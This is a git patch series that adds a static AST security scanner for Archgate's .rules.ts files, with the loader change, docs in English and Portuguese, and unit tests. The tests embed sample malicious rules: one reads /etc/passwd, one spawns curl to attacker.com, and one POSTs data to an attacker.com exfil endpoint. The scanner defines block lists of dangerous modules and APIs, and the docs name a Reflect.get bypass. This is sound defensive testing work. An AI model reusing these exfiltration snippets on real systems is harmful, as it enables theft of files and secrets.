From 697e7eb0668f3b30a407b6dc72b1d762e3abc6c5 Mon Sep 17 00:00:00 2001 From: Rhuan Barreto Date: Mon, 23 Mar 2026 02:27:19 +0100 Subject: [PATCH 1/4] feat: add security scanner for .rules.ts files Implement a pre-execution AST scanner that blocks dangerous patterns in rule files before they are dynamically imported. Uses Bun.Transpiler to strip TypeScript + meriyah to parse the JS AST + a custom walker to detect banned patterns (~170us per file, 5ms for 26 rules). Blocked patterns: - Dangerous imports: node:fs, child_process, net, http, vm, etc. - Bun APIs: Bun.spawn, Bun.write, Bun.file, Bun.$ - Network: fetch() - Code generation: eval(), new Function() - Obfuscation: Bun[variable], globalThis[variable], import(variable) - Global mutation: globalThis.x = ..., process.env = ... Safe modules allowed: node:path, node:url, node:util, node:crypto. Integration: scanner runs in loader.ts before import(), blocks with logError() per violation and throws on any match. archgate check exits with error if any rule file fails scanning. Includes 45 unit tests for the scanner and 6 integration tests for loader security. Updates security docs (EN + pt-BR) with the new trust model. --- bun.lock | 5 + docs/src/content/docs/guides/security.mdx | 35 +-- .../content/docs/pt-br/guides/security.mdx | 35 +-- package.json | 1 + src/engine/loader.ts | 18 +- src/engine/rule-scanner.ts | 184 +++++++++++++ tests/engine/loader-security.test.ts | 184 +++++++++++++ tests/engine/rule-scanner.test.ts | 248 ++++++++++++++++++ 8 files changed, 679 insertions(+), 31 deletions(-) create mode 100644 src/engine/rule-scanner.ts create mode 100644 tests/engine/loader-security.test.ts create mode 100644 tests/engine/rule-scanner.test.ts diff --git a/bun.lock b/bun.lock index eaeaafa3..9f02a580 100644 --- a/bun.lock +++ b/bun.lock @@ -3,6 +3,9 @@ "configVersion": 0, "workspaces": { "": { + "dependencies": { + "meriyah": "7.1.0", + }, "devDependencies": { "@commander-js/extra-typings": "14.0.0", "@commitlint/cli": "20.5.0", @@ -471,6 +474,8 @@ "merge": ["merge@2.1.1", "", {}, "sha512-jz+Cfrg9GWOZbQAnDQ4hlVnQky+341Yk5ru8bZSe6sIDTCIg8n9i/u7hSQGSVOF3C7lH6mGtqjkiT9G4wFLL0w=="], + "meriyah": ["meriyah@7.1.0", "", {}, "sha512-4K/lV+RFSrM8vy9H58FSd+wrxrXlPhYOK8AOaNQ7iFaHugYRx4tHIAaRYLMtXx/spMByZ4S080di6lXSTDI9eg=="], + "micromatch": ["micromatch@4.0.8", "", { "dependencies": { "braces": "^3.0.3", "picomatch": "^2.3.1" } }, "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA=="], "mimic-fn": ["mimic-fn@2.1.0", "", {}, "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="], diff --git a/docs/src/content/docs/guides/security.mdx b/docs/src/content/docs/guides/security.mdx index db4f7e63..f98fff0e 100644 --- a/docs/src/content/docs/guides/security.mdx +++ b/docs/src/content/docs/guides/security.mdx @@ -19,23 +19,30 @@ This means: Rules receive a `RuleContext` object with sandboxed file operations. All `RuleContext` methods (`readFile`, `readJSON`, `grep`, `grepFiles`, `glob`) are restricted to the project root directory -- path traversal via `../`, absolute paths, and symbolic links are blocked and throw an error. -However, because rules are standard TypeScript modules, they can also use any Bun/Node.js API directly: +In addition to the runtime sandbox, Archgate runs a **static analysis security scanner** on every `.rules.ts` file before executing it. The scanner parses the rule's AST and blocks files that contain dangerous patterns: -| Capability | Via RuleContext | Via direct API calls | -| -------------------------- | --------------- | ------------------------ | -| Read files in project | Yes (sandboxed) | Yes (unrestricted) | -| Read files outside project | Blocked | Yes (`Bun.file()`, `fs`) | -| Network requests | No API provided | Yes (`fetch()`) | -| Spawn subprocesses | No API provided | Yes (`Bun.spawn()`) | -| Environment variables | No API provided | Yes (`process.env`) | +| Pattern | Blocked | +| ------------------------------------------------------------------ | ------- | +| Imports of `node:fs`, `child_process`, `net`, `http`, `vm`, etc. | Yes | +| `Bun.spawn()`, `Bun.write()`, `Bun.file()`, `Bun.$` | Yes | +| `fetch()` | Yes | +| `eval()`, `new Function()` | Yes | +| Computed property access (`Bun[variable]`, `globalThis[variable]`) | Yes | +| Dynamic `import()` with non-literal argument | Yes | +| Assignment to `globalThis` or `process.env` | Yes | -The `RuleContext` sandbox prevents accidental path traversal in well-intentioned rules. It does not protect against deliberately malicious code -- a rule that imports `fs` directly can bypass the sandbox. +If any banned pattern is found, the rule file is **not imported or executed** and `archgate check` exits with an error. + +**Safe modules that are allowed:** `node:path`, `node:url`, `node:util`, `node:crypto` -- these are utility modules with no filesystem, network, or process I/O capabilities. + +The scanner raises the bar from "trivial to exploit" to "requires deliberate obfuscation that looks suspicious in code review." Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output. ### What rules cannot do - **Write files** -- the `RuleContext` API is read-only. Rules report violations but cannot modify the codebase. - **Escape the 30-second timeout** -- each rule is killed after 30 seconds of wall-clock time. - **Affect other rules** -- rules from different ADRs run in parallel but share no mutable state through the context API. +- **Use dangerous APIs** -- the security scanner blocks imports of system modules (`fs`, `child_process`, `net`, etc.), Bun APIs (`Bun.spawn`, `Bun.file`), network access (`fetch`), and code generation (`eval`, `new Function`). Rule files that contain these patterns are rejected before execution. ## CI/CD best practices @@ -115,13 +122,11 @@ jobs: ### Reviewing rules in new repositories -When cloning or forking a repository that uses Archgate, review the `.archgate/adrs/*.rules.ts` files before running `archgate check` for the first time. Look for: - -- Imports of `fs`, `child_process`, `net`, or other system modules -- Calls to `fetch()`, `Bun.spawn()`, or `Bun.file()` outside the `RuleContext` API -- Top-level code that runs on import (before the `check` function is called) +When cloning or forking a repository that uses Archgate, the security scanner automatically blocks dangerous patterns in `.rules.ts` files. However, you should still review rule files before running `archgate check` for the first time: -Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output. +- The scanner catches explicit use of banned APIs, but sophisticated obfuscation (e.g., `Reflect.get(Bun, "spawn")`) may bypass it +- Top-level code that runs on import (before the `check` function is called) is still executed if it passes the scanner +- Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output ### Credentials diff --git a/docs/src/content/docs/pt-br/guides/security.mdx b/docs/src/content/docs/pt-br/guides/security.mdx index 75b81764..3d8d8d55 100644 --- a/docs/src/content/docs/pt-br/guides/security.mdx +++ b/docs/src/content/docs/pt-br/guides/security.mdx @@ -19,23 +19,30 @@ Isso significa: As regras recebem um objeto `RuleContext` com operacoes de arquivo isoladas. Todos os metodos do `RuleContext` (`readFile`, `readJSON`, `grep`, `grepFiles`, `glob`) sao restritos ao diretorio raiz do projeto -- travessia de caminho via `../`, caminhos absolutos e links simbolicos sao bloqueados e lancam um erro. -Porem, como as regras sao modulos TypeScript padrao, elas tambem podem usar qualquer API do Bun/Node.js diretamente: +Alem do sandbox de runtime, o Archgate executa um **scanner de seguranca por analise estatica** em cada arquivo `.rules.ts` antes de executa-lo. O scanner analisa a AST da regra e bloqueia arquivos que contenham padroes perigosos: -| Capacidade | Via RuleContext | Via chamadas diretas de API | -| ---------------------------- | --------------------- | --------------------------- | -| Ler arquivos no projeto | Sim (isolado) | Sim (sem restricao) | -| Ler arquivos fora do projeto | Bloqueado | Sim (`Bun.file()`, `fs`) | -| Requisicoes de rede | Nenhuma API fornecida | Sim (`fetch()`) | -| Executar subprocessos | Nenhuma API fornecida | Sim (`Bun.spawn()`) | -| Variaveis de ambiente | Nenhuma API fornecida | Sim (`process.env`) | +| Padrao | Bloqueado | +| ------------------------------------------------------------------------- | --------- | +| Imports de `node:fs`, `child_process`, `net`, `http`, `vm`, etc. | Sim | +| `Bun.spawn()`, `Bun.write()`, `Bun.file()`, `Bun.$` | Sim | +| `fetch()` | Sim | +| `eval()`, `new Function()` | Sim | +| Acesso computado a propriedades (`Bun[variavel]`, `globalThis[variavel]`) | Sim | +| `import()` dinamico com argumento nao-literal | Sim | +| Atribuicao a `globalThis` ou `process.env` | Sim | -O sandbox do `RuleContext` previne travessia de caminho acidental em regras bem-intencionadas. Ele nao protege contra codigo deliberadamente malicioso -- uma regra que importa `fs` diretamente pode contornar o sandbox. +Se qualquer padrao proibido for encontrado, o arquivo de regra **nao e importado nem executado** e `archgate check` termina com erro. + +**Modulos seguros permitidos:** `node:path`, `node:url`, `node:util`, `node:crypto` -- sao modulos utilitarios sem capacidades de sistema de arquivos, rede ou processos. + +O scanner eleva a barreira de "trivial de explorar" para "requer ofuscacao deliberada que parece suspeita em code review." Regras bem-comportadas usam apenas os metodos do `RuleContext` (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) e `ctx.report` para saida. ### O que as regras nao podem fazer - **Escrever arquivos** -- a API do `RuleContext` e somente leitura. Regras reportam violacoes mas nao podem modificar o codebase. - **Escapar do timeout de 30 segundos** -- cada regra e encerrada apos 30 segundos de tempo de execucao. - **Afetar outras regras** -- regras de ADRs diferentes rodam em paralelo mas nao compartilham estado mutavel atraves da API de contexto. +- **Usar APIs perigosas** -- o scanner de seguranca bloqueia imports de modulos do sistema (`fs`, `child_process`, `net`, etc.), APIs do Bun (`Bun.spawn`, `Bun.file`), acesso a rede (`fetch`) e geracao de codigo (`eval`, `new Function`). Arquivos de regra que contenham esses padroes sao rejeitados antes da execucao. ## Boas praticas para CI/CD @@ -115,13 +122,11 @@ jobs: ### Revisando regras em novos repositorios -Ao clonar ou fazer fork de um repositorio que usa Archgate, revise os arquivos `.archgate/adrs/*.rules.ts` antes de rodar `archgate check` pela primeira vez. Procure por: - -- Imports de `fs`, `child_process`, `net` ou outros modulos do sistema -- Chamadas a `fetch()`, `Bun.spawn()` ou `Bun.file()` fora da API do `RuleContext` -- Codigo de nivel superior que executa no import (antes da funcao `check` ser chamada) +Ao clonar ou fazer fork de um repositorio que usa Archgate, o scanner de seguranca bloqueia automaticamente padroes perigosos em arquivos `.rules.ts`. Porem, voce ainda deve revisar os arquivos de regras antes de rodar `archgate check` pela primeira vez: -Regras bem-comportadas usam apenas os metodos do `RuleContext` (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) e `ctx.report` para saida. +- O scanner detecta uso explicito de APIs proibidas, mas ofuscacao sofisticada (ex: `Reflect.get(Bun, "spawn")`) pode contorna-lo +- Codigo de nivel superior que executa no import (antes da funcao `check` ser chamada) ainda e executado se passar pelo scanner +- Regras bem-comportadas usam apenas os metodos do `RuleContext` (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) e `ctx.report` para saida ### Credenciais diff --git a/package.json b/package.json index a5f6a7bd..4c54c00b 100644 --- a/package.json +++ b/package.json @@ -66,6 +66,7 @@ "conventional-changelog": "7.2.0", "conventional-changelog-angular": "8.3.0", "inquirer": "13.3.2", + "meriyah": "7.1.0", "oxfmt": "0.41.0", "oxlint": "1.56.0", "posthog-node": "5.28.5", diff --git a/src/engine/loader.ts b/src/engine/loader.ts index c36f2a5e..f9ee88f2 100644 --- a/src/engine/loader.ts +++ b/src/engine/loader.ts @@ -22,9 +22,10 @@ const RuleSetSchema = z.object({ }) ), }); -import { logDebug } from "../helpers/log"; +import { logDebug, logError } from "../helpers/log"; import { projectPaths } from "../helpers/paths"; import { ensureRulesShim } from "../helpers/rules-shim"; +import { scanRuleSource } from "./rule-scanner"; export interface LoadedAdr { adr: AdrDocument; @@ -90,6 +91,21 @@ export async function loadRuleAdrs( ); } + // Security gate: scan rule source for banned patterns before executing. + // This blocks dangerous imports (node:fs, child_process), Bun APIs + // (Bun.spawn, Bun.file), network access (fetch), eval, and obfuscation + // patterns (computed property access, dynamic imports). + const ruleSource = await Bun.file(rulesFile).text(); + const scanViolations = scanRuleSource(ruleSource); + if (scanViolations.length > 0) { + for (const v of scanViolations) { + logError(`${rulesFile}:${v.line}:${v.column} - ${v.message}`); + } + throw new Error( + `ADR ${adr.frontmatter.id}: rule file blocked by security scanner (${scanViolations.length} violation${scanViolations.length === 1 ? "" : "s"})` + ); + } + // Cache-bust: Bun caches import() per-process, so append a timestamp // to force re-reading from disk on every call (critical for repeated invocations). // Use file:// URL to handle Windows backslash paths in import(). diff --git a/src/engine/rule-scanner.ts b/src/engine/rule-scanner.ts new file mode 100644 index 00000000..334fc256 --- /dev/null +++ b/src/engine/rule-scanner.ts @@ -0,0 +1,184 @@ +import { parseModule } from "meriyah"; + +/** + * Banned module pattern — matches dangerous Node.js/Bun built-in modules + * that provide filesystem, network, process, or VM capabilities. + * + * Safe modules NOT blocked: node:path, node:url, node:util, node:crypto + */ +const BANNED_MODULES = + /^(node:)?(fs|child_process|net|dgram|http|https|http2|worker_threads|cluster|vm)(\/.*)?$/; + +/** Bun API properties that bypass the RuleContext sandbox. */ +const BLOCKED_BUN_PROPS = new Set(["spawn", "spawnSync", "write", "$", "file"]); + +export interface ScanViolation { + message: string; + line: number; + column: number; +} + +interface AstLoc { + start: { line: number; column: number }; +} + +interface AstNode { + type: string; + loc?: AstLoc; + [key: string]: unknown; +} + +function loc(node: AstNode): { line: number; column: number } { + return { + line: node.loc?.start.line ?? 0, + column: node.loc?.start.column ?? 0, + }; +} + +/** + * Scan a `.rules.ts` source string for banned patterns. + * + * The scanner transpiles TypeScript to JavaScript (via Bun.Transpiler), + * parses the result into an ESTree AST (via meriyah), and walks every + * node looking for dangerous imports, globals, and obfuscation patterns. + * + * Returns an empty array if the rule is clean; violations if blocked patterns are found. + */ +export function scanRuleSource(source: string): ScanViolation[] { + const transpiler = new Bun.Transpiler({ loader: "ts" }); + const js = transpiler.transformSync(source); + const ast = parseModule(js, { next: true, loc: true, module: true }); + const violations: ScanViolation[] = []; + + function walk(node: AstNode): void { + if (!node || typeof node !== "object") return; + + switch (node.type) { + case "ImportDeclaration": { + const src = (node.source as { value: string }).value; + if (BANNED_MODULES.test(src) || src === "bun") { + violations.push({ + message: `Import of "${src}" is blocked in rule files. Use the RuleContext API instead.`, + ...loc(node), + }); + } + break; + } + case "MemberExpression": { + const obj = node.object as AstNode & { name?: string }; + const prop = node.property as AstNode & { name?: string }; + const computed = node.computed as boolean; + + // Block Bun.spawn, Bun.write, Bun.$, Bun.file, Bun.spawnSync + if ( + obj.name === "Bun" && + !computed && + BLOCKED_BUN_PROPS.has(prop.name ?? "") + ) { + violations.push({ + message: `Bun.${prop.name}() is blocked in rule files. Use the RuleContext API instead.`, + ...loc(node), + }); + } + + // Block computed access: Bun[x], globalThis[x] + if (computed && (obj.name === "Bun" || obj.name === "globalThis")) { + violations.push({ + message: `Computed property access on ${obj.name} is blocked in rule files.`, + ...loc(node), + }); + } + break; + } + case "CallExpression": { + const callee = node.callee as AstNode & { name?: string }; + if (callee.name === "eval") { + violations.push({ + message: "eval() is blocked in rule files.", + ...loc(node), + }); + } + if (callee.name === "Function") { + violations.push({ + message: "Function() constructor is blocked in rule files.", + ...loc(node), + }); + } + if (callee.name === "fetch") { + violations.push({ + message: + "fetch() is blocked in rule files. Rules should not make network requests.", + ...loc(node), + }); + } + break; + } + case "NewExpression": { + const callee = node.callee as AstNode & { name?: string }; + if (callee.name === "Function") { + violations.push({ + message: "new Function() is blocked in rule files.", + ...loc(node), + }); + } + break; + } + case "ImportExpression": { + const src = node.source as AstNode; + if (src.type !== "Literal") { + violations.push({ + message: + "Dynamic import() with non-literal argument is blocked in rule files.", + ...loc(node), + }); + } + break; + } + case "AssignmentExpression": { + const left = node.left as AstNode & { + object?: AstNode & { name?: string }; + property?: AstNode & { name?: string }; + }; + if (left.type === "MemberExpression") { + if (left.object?.name === "globalThis") { + violations.push({ + message: "Mutating globalThis is blocked in rule files.", + ...loc(node), + }); + } + if ( + left.object?.name === "process" && + left.property?.name === "env" + ) { + const target = `${left.object.name}.${left.property.name}`; + violations.push({ + message: `Mutating ${target} is blocked in rule files.`, + ...loc(node), + }); + } + } + break; + } + } + + // Recurse into child nodes + for (const value of Object.values(node)) { + if (Array.isArray(value)) { + for (const item of value) { + if (item && typeof item === "object" && (item as AstNode).type) { + walk(item as AstNode); + } + } + } else if ( + value && + typeof value === "object" && + (value as AstNode).type + ) { + walk(value as AstNode); + } + } + } + + walk(ast as unknown as AstNode); + return violations; +} diff --git a/tests/engine/loader-security.test.ts b/tests/engine/loader-security.test.ts new file mode 100644 index 00000000..8a82bf25 --- /dev/null +++ b/tests/engine/loader-security.test.ts @@ -0,0 +1,184 @@ +import { describe, expect, test, beforeEach, afterEach } from "bun:test"; +import { mkdtempSync, rmSync, mkdirSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { loadRuleAdrs } from "../../src/engine/loader"; + +describe("loadRuleAdrs security scanning", () => { + let tempDir: string; + + beforeEach(() => { + tempDir = mkdtempSync(join(tmpdir(), "archgate-loader-sec-")); + mkdirSync(join(tempDir, ".archgate", "adrs"), { recursive: true }); + }); + + afterEach(() => { + rmSync(tempDir, { recursive: true, force: true }); + }); + + function writeAdrMd(adrsDir: string, id: string, baseName: string): void { + writeFileSync( + join(adrsDir, `${baseName}.md`), + `--- +id: ${id} +title: Test ADR +domain: general +rules: true +--- + +## Context +Test ADR for security scanning. + +## Decision +Test decision. +` + ); + } + + test("blocks rule that imports node:fs", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-001", "SEC-001-malicious-fs"); + writeFileSync( + join(adrsDir, "SEC-001-malicious-fs.rules.ts"), + `import { readFileSync } from "node:fs"; +export default { + rules: { + "steal-secrets": { + description: "Read secrets", + async check() { + readFileSync("/etc/passwd", "utf8"); + }, + }, + }, +}; +` + ); + + await expect(loadRuleAdrs(tempDir)).rejects.toThrow( + "blocked by security scanner" + ); + }); + + test("blocks rule that uses Bun.spawn", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-002", "SEC-002-malicious-spawn"); + writeFileSync( + join(adrsDir, "SEC-002-malicious-spawn.rules.ts"), + `export default { + rules: { + "run-command": { + description: "Run arbitrary command", + async check() { + Bun.spawn(["curl", "https://attacker.com"]); + }, + }, + }, +}; +` + ); + + await expect(loadRuleAdrs(tempDir)).rejects.toThrow( + "blocked by security scanner" + ); + }); + + test("blocks rule that uses fetch", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-003", "SEC-003-malicious-fetch"); + writeFileSync( + join(adrsDir, "SEC-003-malicious-fetch.rules.ts"), + `export default { + rules: { + "exfiltrate": { + description: "Exfiltrate data", + async check() { + fetch("https://attacker.com/exfil", { method: "POST" }); + }, + }, + }, +}; +` + ); + + await expect(loadRuleAdrs(tempDir)).rejects.toThrow( + "blocked by security scanner" + ); + }); + + test("blocks rule that uses eval", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-004", "SEC-004-malicious-eval"); + writeFileSync( + join(adrsDir, "SEC-004-malicious-eval.rules.ts"), + `export default { + rules: { + "eval-attack": { + description: "Execute arbitrary code", + async check() { + eval("process.exit(1)"); + }, + }, + }, +}; +` + ); + + await expect(loadRuleAdrs(tempDir)).rejects.toThrow( + "blocked by security scanner" + ); + }); + + test("allows clean rule using only RuleContext", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-005", "SEC-005-clean-rule"); + writeFileSync( + join(adrsDir, "SEC-005-clean-rule.rules.ts"), + `export default { + rules: { + "safe-rule": { + description: "A well-behaved rule", + async check(ctx) { + const files = await ctx.glob("src/**/*.ts"); + for (const file of files) { + const content = await ctx.readFile(file); + if (content.includes("TODO")) { + ctx.report.warning({ message: "Found TODO", file }); + } + } + }, + }, + }, +}; +` + ); + + const loaded = await loadRuleAdrs(tempDir); + expect(loaded).toHaveLength(1); + expect(loaded[0].adr.frontmatter.id).toBe("SEC-005"); + }); + + test("allows rule with safe imports (node:path)", async () => { + const adrsDir = join(tempDir, ".archgate", "adrs"); + writeAdrMd(adrsDir, "SEC-006", "SEC-006-safe-imports"); + writeFileSync( + join(adrsDir, "SEC-006-safe-imports.rules.ts"), + `import { join } from "node:path"; + +export default { + rules: { + "path-rule": { + description: "Uses safe modules", + async check(ctx) { + const p = join("src", "index.ts"); + }, + }, + }, +}; +` + ); + + const loaded = await loadRuleAdrs(tempDir); + expect(loaded).toHaveLength(1); + }); +}); diff --git a/tests/engine/rule-scanner.test.ts b/tests/engine/rule-scanner.test.ts new file mode 100644 index 00000000..48fcfb87 --- /dev/null +++ b/tests/engine/rule-scanner.test.ts @@ -0,0 +1,248 @@ +import { describe, expect, test } from "bun:test"; + +import { scanRuleSource } from "../../src/engine/rule-scanner"; + +describe("scanRuleSource", () => { + describe("banned imports", () => { + const bannedModules = [ + "node:fs", + "fs", + "node:child_process", + "child_process", + "node:net", + "node:dgram", + "node:http", + "node:https", + "node:http2", + "node:worker_threads", + "node:cluster", + "node:vm", + "node:fs/promises", + "bun", + ]; + + for (const mod of bannedModules) { + test(`blocks ${mod} import`, () => { + const violations = scanRuleSource(`import x from "${mod}";`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain(`"${mod}"`); + expect(violations[0].message).toContain("blocked"); + }); + } + + const safeModules = ["node:path", "node:url", "node:util", "node:crypto"]; + + for (const mod of safeModules) { + test(`allows ${mod} import`, () => { + const violations = scanRuleSource(`import x from "${mod}";`); + expect(violations).toHaveLength(0); + }); + } + }); + + describe("dangerous Bun APIs", () => { + test("blocks Bun.spawn", () => { + const violations = scanRuleSource(`Bun.spawn(["ls"]);`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Bun.spawn()"); + }); + + test("blocks Bun.spawnSync", () => { + const violations = scanRuleSource(`Bun.spawnSync(["ls"]);`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Bun.spawnSync()"); + }); + + test("blocks Bun.write", () => { + const violations = scanRuleSource(`Bun.write("output.txt", "data");`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Bun.write()"); + }); + + test("blocks Bun.$", () => { + const violations = scanRuleSource(`Bun.$;`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Bun.$()"); + }); + + test("blocks Bun.file", () => { + const violations = scanRuleSource(`Bun.file("/etc/passwd");`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Bun.file()"); + }); + }); + + describe("computed property access", () => { + test("blocks Bun[variable]", () => { + const violations = scanRuleSource( + `const method = "spawn"; Bun[method]();` + ); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain( + "Computed property access on Bun" + ); + }); + + test("blocks globalThis[variable]", () => { + const violations = scanRuleSource( + `const key = "fetch"; globalThis[key]();` + ); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain( + "Computed property access on globalThis" + ); + }); + }); + + describe("eval and Function constructor", () => { + test("blocks eval()", () => { + const violations = scanRuleSource(`eval("console.log(1)");`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("eval()"); + }); + + test("blocks new Function()", () => { + const violations = scanRuleSource(`new Function("return 1")();`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("new Function()"); + }); + + test("blocks Function() without new", () => { + const violations = scanRuleSource(`Function("return 1")();`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Function() constructor"); + }); + }); + + describe("fetch", () => { + test("blocks fetch()", () => { + const violations = scanRuleSource(`fetch("https://example.com");`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("fetch()"); + }); + }); + + describe("dynamic imports", () => { + test("blocks import(variable)", () => { + const violations = scanRuleSource(`const mod = "node:fs"; import(mod);`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Dynamic import()"); + }); + + test("allows import with literal string", () => { + const violations = scanRuleSource(`import("node:path");`); + // Static import expression with literal — allowed by dynamic import check. + // But node:path is safe so no import declaration violation either. + const dynamicViolations = violations.filter((v) => + v.message.includes("Dynamic import()") + ); + expect(dynamicViolations).toHaveLength(0); + }); + }); + + describe("global mutation", () => { + test("blocks globalThis assignment", () => { + const violations = scanRuleSource(`globalThis.myGlobal = "value";`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Mutating globalThis"); + }); + + test("blocks process.env assignment", () => { + const violations = scanRuleSource(`process.env = {};`); + expect(violations).toHaveLength(1); + expect(violations[0].message).toContain("Mutating process.env"); + }); + }); + + describe("TypeScript support", () => { + test("handles TypeScript syntax (interfaces, type annotations)", () => { + const source = ` + interface Config { name: string; } + const config: Config = { name: "test" }; + export default { rules: {} }; + `; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(0); + }); + + test("handles satisfies keyword", () => { + const source = ` + type RuleSet = { rules: Record }; + export default { rules: {} } satisfies RuleSet; + `; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(0); + }); + }); + + describe("clean rule files", () => { + test("passes a well-behaved rule using only RuleContext", () => { + const source = ` + export default { + rules: { + "my-rule": { + description: "Check something", + async check(ctx) { + const files = await ctx.glob("src/**/*.ts"); + for (const file of files) { + const content = await ctx.readFile(file); + if (content.includes("TODO")) { + ctx.report.warning({ message: "Found TODO", file }); + } + } + }, + }, + }, + }; + `; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(0); + }); + + test("passes rule with safe imports (node:path, node:url)", () => { + const source = ` + import { join } from "node:path"; + import { URL } from "node:url"; + + export default { + rules: { + "path-rule": { + description: "Uses safe modules", + async check(ctx) { + const p = join("src", "index.ts"); + const url = new URL("https://example.com"); + }, + }, + }, + }; + `; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(0); + }); + }); + + describe("multiple violations", () => { + test("reports all violations in a single file", () => { + const source = ` + import { readFileSync } from "node:fs"; + import { execSync } from "node:child_process"; + + const secret = readFileSync("/etc/passwd", "utf8"); + fetch("https://attacker.com", { method: "POST", body: secret }); + Bun.spawn(["curl", "https://evil.com"]); + `; + const violations = scanRuleSource(source); + expect(violations.length).toBeGreaterThanOrEqual(4); + }); + }); + + describe("violation location", () => { + test("reports line and column numbers", () => { + const source = `const x = 1;\neval("code");`; + const violations = scanRuleSource(source); + expect(violations).toHaveLength(1); + expect(violations[0].line).toBeGreaterThan(0); + expect(violations[0].column).toBeGreaterThanOrEqual(0); + }); + }); +}); From ac3fabf7b3834af16a8922d836bfa4928bdc96e7 Mon Sep 17 00:00:00 2001 From: rhuanbarreto <283004+rhuanbarreto@users.noreply.github.com> Date: Mon, 23 Mar 2026 01:28:04 +0000 Subject: [PATCH 2/4] Apply automatic changes --- bun.lock | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/bun.lock b/bun.lock index 9f02a580..4fc3a39d 100644 --- a/bun.lock +++ b/bun.lock @@ -3,9 +3,6 @@ "configVersion": 0, "workspaces": { "": { - "dependencies": { - "meriyah": "7.1.0", - }, "devDependencies": { "@commander-js/extra-typings": "14.0.0", "@commitlint/cli": "20.5.0", @@ -18,6 +15,7 @@ "conventional-changelog": "7.2.0", "conventional-changelog-angular": "8.3.0", "inquirer": "13.3.2", + "meriyah": "7.1.0", "oxfmt": "0.41.0", "oxlint": "1.56.0", "posthog-node": "5.28.5", From 3db0ea18998ea90642bcbac623c1507e5a6d9c51 Mon Sep 17 00:00:00 2001 From: "archgatebot[bot]" <228577333+archgatebot[bot]@users.noreply.github.com> Date: Mon, 23 Mar 2026 01:28:29 +0000 Subject: [PATCH 3/4] docs: regenerate llms-full.txt --- docs/public/llms-full.txt | 35 ++++++++++++++++++++--------------- 1 file changed, 20 insertions(+), 15 deletions(-) diff --git a/docs/public/llms-full.txt b/docs/public/llms-full.txt index 3d166931..5b31b5e0 100644 --- a/docs/public/llms-full.txt +++ b/docs/public/llms-full.txt @@ -1696,23 +1696,30 @@ This means: Rules receive a `RuleContext` object with sandboxed file operations. All `RuleContext` methods (`readFile`, `readJSON`, `grep`, `grepFiles`, `glob`) are restricted to the project root directory -- path traversal via `../`, absolute paths, and symbolic links are blocked and throw an error. -However, because rules are standard TypeScript modules, they can also use any Bun/Node.js API directly: +In addition to the runtime sandbox, Archgate runs a **static analysis security scanner** on every `.rules.ts` file before executing it. The scanner parses the rule's AST and blocks files that contain dangerous patterns: -| Capability | Via RuleContext | Via direct API calls | -| -------------------------- | --------------- | ------------------------ | -| Read files in project | Yes (sandboxed) | Yes (unrestricted) | -| Read files outside project | Blocked | Yes (`Bun.file()`, `fs`) | -| Network requests | No API provided | Yes (`fetch()`) | -| Spawn subprocesses | No API provided | Yes (`Bun.spawn()`) | -| Environment variables | No API provided | Yes (`process.env`) | +| Pattern | Blocked | +| ------------------------------------------------------------------ | ------- | +| Imports of `node:fs`, `child_process`, `net`, `http`, `vm`, etc. | Yes | +| `Bun.spawn()`, `Bun.write()`, `Bun.file()`, `Bun.$` | Yes | +| `fetch()` | Yes | +| `eval()`, `new Function()` | Yes | +| Computed property access (`Bun[variable]`, `globalThis[variable]`) | Yes | +| Dynamic `import()` with non-literal argument | Yes | +| Assignment to `globalThis` or `process.env` | Yes | -The `RuleContext` sandbox prevents accidental path traversal in well-intentioned rules. It does not protect against deliberately malicious code -- a rule that imports `fs` directly can bypass the sandbox. +If any banned pattern is found, the rule file is **not imported or executed** and `archgate check` exits with an error. + +**Safe modules that are allowed:** `node:path`, `node:url`, `node:util`, `node:crypto` -- these are utility modules with no filesystem, network, or process I/O capabilities. + +The scanner raises the bar from "trivial to exploit" to "requires deliberate obfuscation that looks suspicious in code review." Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output. ### What rules cannot do - **Write files** -- the `RuleContext` API is read-only. Rules report violations 